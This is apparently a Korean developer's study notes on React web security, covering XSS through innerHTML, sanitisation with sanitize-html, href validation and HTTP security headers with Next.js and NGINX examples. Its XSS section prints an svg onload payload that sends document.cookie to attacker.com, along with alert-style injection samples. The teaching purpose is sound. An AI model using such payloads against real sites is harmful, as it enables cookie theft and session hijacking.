본문으로 건너뛰기

14장 웹사이트 보안을 위한 리액트와 웹페이지 보안 이슈

1. 리액트에서 발생하는 크로스 사이트 스크립팅(XSS)

웹사이트 개발자가 아닌 제3자가 개발자 도구나 사용자 입력을 받는 UI 요소에 접근해 웹사이트에 악성 스크립트를 삽입해 실행할 수 있는 취약점을 의미한다. 쿠키를 획득해 사용자의 로그인 세션 등을 탈취하거나 사용자의 데이터를 변경하는 등 각종 위험성이 있다.


1. dangerouslySetInnerHTML prop

특정 브라우저 DOM의 innerHTML을 특정한 내용으로 교체할 수 있는 방법이다.

function App() {
// 다음 결과물은 <div>First · Second</div>이다.
return <div dangerouslySetInnerHTML={{ __html: 'First &middot; Second' }} />
}
  • __html을 키를 가지고 있는 객체만 인수로 받을 수 있으며, 이 인수로 넘겨받은 문자열을 DOM에 그대로 표시하는 역할을 한다. 인수로 받는 문자열에 제한은 없기 때문에 사용에 주의를 기울여야 하며 검증이 필요하다.

2. useRef를 활용한 직접 삽입

DOM에 직접 내용을 삽입할 수 있는 방법

const html = `<span><svg/onload=alert(origin)></span>`
function App() {
const divRef = useRef<HTMLDivElement>(null)
useEffect(() => {
if (divRef.current) {
divRef.current.innerHTML = html
}
})
return <div ref={divRef} />
}
<span><svg/onload=fetch('https://attacker.com/steal?cookie='+document.cookie)></span>
  • 여러가지 이벤트를 사용해 웹 사이트에 접근해 개발자가 만들지 않은 코드를 삽입할 수 있다.

3. 리액트에서 XSS 문제를 피하는 방법

제3자가 삽입할 수 있는 HTML을 안전한 HTML 코드로 한 번 치환하는 것이다. 이러한 과정을 새니타이즈(sanitize) 또는 이스케이프(escape) 라고 한다. npm에 있는 라이브러리를 사용한다.

1. sanitize-html 사용법

npm install sanitize-html
const sanitizeHtml = require("sanitize-html");

const dirtyHtml = `<h1>안전한 제목</h1><script>alert('해킹!');</script>`;
const cleanHtml = sanitizeHtml(dirtyHtml);

console.log(cleanHtml);
// 출력: <h1>안전한 제목</h1>
  • 기본적으로 위험한 태그를 자동으로 제거해준다.
import { useEffect, useRef } from "react";
import sanitizeHtml from "sanitize-html";

const cleanHtml = sanitizeHtml(dirtyHtml, {
allowedTags: ["a"],
allowedAttributes: {
a: ["href", "title"]
}
});

const dirtyHtml = `<span><svg/onload=alert('XSS!')></span>`;

function App() {
const divRef = useRef<HTMLDivElement>(null);

useEffect(() => {
if (divRef.current) {
divRef.current.innerHTML = sanitizeHtml(dirtyHtml);
}
}, []);

return <div ref={divRef} />;
}

export default App;
  • 특정 태그나 속성만 허용하게 만들어 유연하게 사용할 수 있다.

2. getServerSideProps와 서버 컴포넌트를 주의하자

서버에는 일반 사용자에게 노출되면 안 되는 정보가 담겨있기 때문에 주의해야 한다.

export default function App({ token }: { token: string }) {
const user = JSON.parse(window.atob(token.split('.')[1]))
const user_id = user.id
/* do something... */
}

export const getServerSideProps = async (ctx: GetServerSidePropsContext) => {
const cookie = ctx.req.headers.cookie || ''
const token = validateCookie(cookie)

if (!token) {
return {
redirect: {
destination: '/404',
permanent: false,
},
}
}

return {
props: {
token,
},
}
}
  • 쿠키를 클라이언트에 필요한 token 값만 제한적으로 반환해 불필요한 노출을 줄이고 예외 처리 리다이렉트를 서버에서 처리해 성능이 향상된다.

3. <a> 태그의 값에 적절한 제한을 둬야 한다

function App() {
return (
/*
Warning: A future version of React will block javascript: URLs as a security precaution. Use
event handlers instead if you can. If you need to generate unsafe HTML try using dangerouslySetIn-
nerHTML instead. React was passed "javascript:()=>alert('hello')".
at a
*/
<>
<a href="javascript:alert('hello');">링크</a>
</>
)
}
  • 태그 안의 자바스크립트 코드가 존재하면 이를 실행하기 때문에 <a> 태그는 반드시 페이지 이동이 있을 때만 사용하는 것이 좋으며, 핸들러를 작동시키고 싶다면 button을 사용하는 것이 좋다.
function isSafeHref(href: string) {
let isSafe = false
try {
// javascript:가 오면 protocol이 javascript:가 된다.
const url = new URL(href)
if (['http:', 'https:'].includes(url.protocol)) {
isSafe = true
}
} catch {
isSafe = false
}
return isSafe
}
function App() {
const unsafeHref = "javascript:alert('hello');"
const safeHref = 'https://www.naver.com'
return (
<>
{/* 위험한 href로 분류되어 #이 반환된다. */}
<a href={isSafeHref(unsafeHref) ? unsafeHref : '#'}>위험한 href</a>
{/* 안전한 href로 분류되어 원하는 페이지로 이동할 수 있다. */}
<a href={isSafeHref(safeHref) ? safeHref : '#'}>안전한 href</a>
</>
)
}
  • href에 주소 입력이 가능하다면 피싱 사이트로 이동하는 등 보안이슈가 생길 위험이 있기 때문에 이를 막기 위해 origin도 확인해 처리하는 것이 좋다.

4. HTTP 보안 헤더 설정하기

HTTP 보안 헤더만 효율적으로 사용할 수 있어도 많은 보안 취약점을 방지할 수 있다. 헤더는 여러 개 설정할 수 있다.

const express = require('express');
const app = express();

// STS 헤더 설정
app.use((req, res, next) => {
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
next();
});

1. Strict-Transport-Security

HTTP로 접근하는 경우 이러한 모든 시도는 HTTPS로 변경되게 한다.


2. X-XSS-Protection

페이지에서 XSS 취약점이 발견되면 페이지 로딩을 중단하는 헤더다. 구형 브라우저에서 사용한다.

X-XSS-Protection:

0 // 필터링을 끈다.

1 // 필터링을 켠다. 공격이 감지되면 위험 코드를 제거한다.

1; mode=block // 공격이 감지되면 접근 자체를 막는다.

1; report=<reporting-uri> // reporting-uri 쪽으로 보고서를 보낸다.

3. X-Frame-Options

<iframe> 에 페이지를 띄우고 내부에 있는 악성컨텐츠를 클릭하게 만드는 Clicking 공격을 방지하기 위해 페이지를 frame, iframe, embed, object 내부에서 렌더링을 허용할지를 나타낼 수 있다.

X-Frame-Options:

DENY // 프레임 관련 코드가 있다면 무조건 막는다.

SAMEORIGIN // 같은 origin에 대해서만 프레임을 허용한다.

4. Permissions-Policy

웹사이트에서 사용할 수 있는 기능과 사용할 수 없는 기능을 명시적으로 선언하는 헤더다. 혹시XSS가 발생한다고 하더라도 사용자에게 미칠 수 있는 악영향을 제한할 수 있게 된다.

# 모든 geolocation 사용을 막는다.
Permissions-Policy: geolocation=()

# geolocation을 페이지 자신과 몇 가지 페이지에 대해서만 허용한다.
Permissions-Policy: geolocation=(self "https://a.yceffort.kr" "https://b.yceffort.kr")

# 카메라는 모든 곳에서 허용한다.
Permissions-Policy: camera=*;

# pip 기능을 막고, geolocation은 자신과 특정 페이지만 허용하며,
# 카메라는 모든 곳에서 허용한다.
Permissions-Policy: picture-in-picture=(), geolocation=(self https://yceffort.kr), camera=*;

5. X-Content-Type-Options

웹서버가 브라우저에 강제로 이 파일을 읽는 방식을 지정하는 것이다.

X-Content-Type-Options: nosniff
  • CSS나 MIME이 text/css가 아닌 경우, 혹은 파일 내용이 script나 MIME 타입이 자바스크립트 타입이 아니면 차단한다.

6. Referrer-Policy

이 헤더에는 현재 요청을 보낸 페이지의 주소가 나타난다. 보안에 위험한 정보가 있을 수 있어, 해당 URL에서 보여줄 정보를 제어할 수 있다.

Referrer-Policy: 

no-referrer // 정보를 전송하지 않음

no-referrer-when-downgrade // 프로토콜이 같은 경우에만 전송

origin-when-cross-origin // 같은 출처 내에서 URL 전체를 전송하고 다른 출처에는 호스트 명만 전송

origin // 호스트 명만 전송

no-referrer-when-downgrade // 기본값. HTTPS -> HTTP 이동 시 정보를 보내지 않음.

strict-origin // HTTPS -> HTTPS 이동할 때만 정보를 보냄

unsafe-url // 모든 요청에 정보를 보냄

7. Content-Security-Policy

XSS 공격이나 데이터 삽입 공격과 같은 다양한 보안 위협을 막기 위해 설계됐다.

1. *-src

Content-Security-Policy: <directive> <value>; 
  • directiv: src를 제어할 수 있는 지시문이다. 자원의 출처를 지정한다.
  • value: 지정할 수 있는 자원이다.
//ex

Content-Security-Policy:
default-src 'self';
script-src 'self' https://apis.google.com 'nonce-<base64-value>';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-src 'none';
report-to csp-endpoint;
upgrade-insecure-requests;
  • self: 현재 페이지의 출처와 동일한 출처를 허용한다.

  • none: 해당 자원을 전혀 로드할 수 없도록 설정한다.

  • URL: 특정 도메인이나 URL에서 자원을 로드하도록 허용한다.


2. form-action

폼 양식으로 제출할 수 있는URL을 제한할 수 있다.

<meta http-equiv="Content-Security-Policy" content="form-action 'none'" />

export default function App() {
function handleFormAction() {
alert('form action!')
}

//Refused to send form data to '****' because it violates the following Content Security Policy direc-tive: "form-action 'none'".
return (
<div>
<form action={handleFormAction} method="post">
<input type="text" name="name" value="foo" />
<input type="submit" id="submit" value="submit" />
</form>
</div>
)
}

8. 보안 헤더 설정하기

1. Next.js

next.config.js 에서 경로별 보안 헤더를 적용할 수 있다.

const ContentSecurityPolicies = [
{ key: 'default-src', value: "'self'" },
{ key: 'script-src', value: "'self'" },
{ key: 'child-src', value: 'example.com' },
{ key: 'style-src', value: "'self' example.com" },
{ key: 'font-src', value: "'self'" },
]
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: ContentSecurityPolicies.map(
(item) => `${item.key} ${item.value};`,
).join(' '),
},
]

2. NGINX

경로별로add_header 지시자를 사용해 원하는 응답 헤더를 추가할 수 있다.

server {
listen 80;
server_name example.com;

# 1. Content-Security-Policy 헤더 설정
# 자원 로드 출처를 'self'로 제한하고, 특정 외부 도메인에서 자원을 로드할 수 있게 설정
add_header Content-Security-Policy "
default-src 'self'; # 기본 출처는 동일 출처
script-src 'self' https://apis.example.com; # 스크립트는 동일 출처와 https://apis.example.com에서만 로드
style-src 'self' https://fonts.example.com; # 스타일은 동일 출처와 https://fonts.example.com에서만 로드
img-src 'self' https://images.example.com; # 이미지 출처는 동일 출처와 https://images.example.com에서만 허용
font-src 'self' https://fonts.example.com; # 폰트 출처는 동일 출처와 https://fonts.example.com에서만 허용
frame-ancestors 'none'; # 프레임에 포함되지 않도록 설정
upgrade-insecure-requests; # HTTP에서 HTTPS로 자동 업그레이드
report-uri /csp-violation-report-endpoint; # CSP 위반 보고를 받을 URI
" always;

# 2. X-XSS-Protection 헤더 설정 (XSS 공격을 방지)
add_header X-XSS-Protection "1; mode=block" always;

# 3. X-Frame-Options 헤더 설정 (페이지를 iframe에 표시하지 않음)
add_header X-Frame-Options "DENY" always;

# 4. Strict-Transport-Security 헤더 설정 (HTTPS만 사용)
# 이 설정은 HTTPS 연결만 허용하고, 1년 동안 모든 서브도메인도 강제로 HTTPS로 전환
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

# 5. Referrer-Policy 헤더 설정 (리퍼러 정보 제한)
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

# 6. Permissions-Policy 헤더 설정 (특정 기능에 대한 권한 제한)
add_header Permissions-Policy "geolocation=(self), microphone=()" always;

# 7. CSP Violation Report URI (CSP 위반 보고 수집)
location = /csp-violation-report-endpoint {
# 보고를 받을 수 있도록 요청 처리
add_header Content-Type application/json;
return 204; # 리포트 요청을 받았을 때 204 상태 코드 반환
}

location / {
# 웹 애플리케이션의 나머지 설정
try_files $uri $uri/ =404;
}
}

9. 보안 헤더 확인하기

01.webp


5. 취약점이 있는 패키지의 사용을 피하자

01.webp


6. OWASP Top 10

  • 주로 웹에서 발생할 수 있는 정보 노출, 악성 스크립트, 보안 취약점 등을 연구하며, 주기적으로 10대 웹 애플리케이션 취약점을 공개한다.

작성하고 느낀 점

좋았던 점: 보안 관련으로 아는 것은 CORS 오류 수정하는 방법만 알고 있었는데 다양한 설정이 있는 것을 알게 되었다.

배운 점: 보안 태그를 설정해 사이트의 안정성을 향상시키는 방법을 배웠다.

아쉬운 점: 보안 관련으로 학습을 진행한 적이 없어 예제를 이해하기 힘들었다. 예제에 사용된 속성값의 정의를 찾기 위해 시간을 많이 사용했다.

향후 계획: 보안 관련 설정에 대해 더 알아 볼 것이다.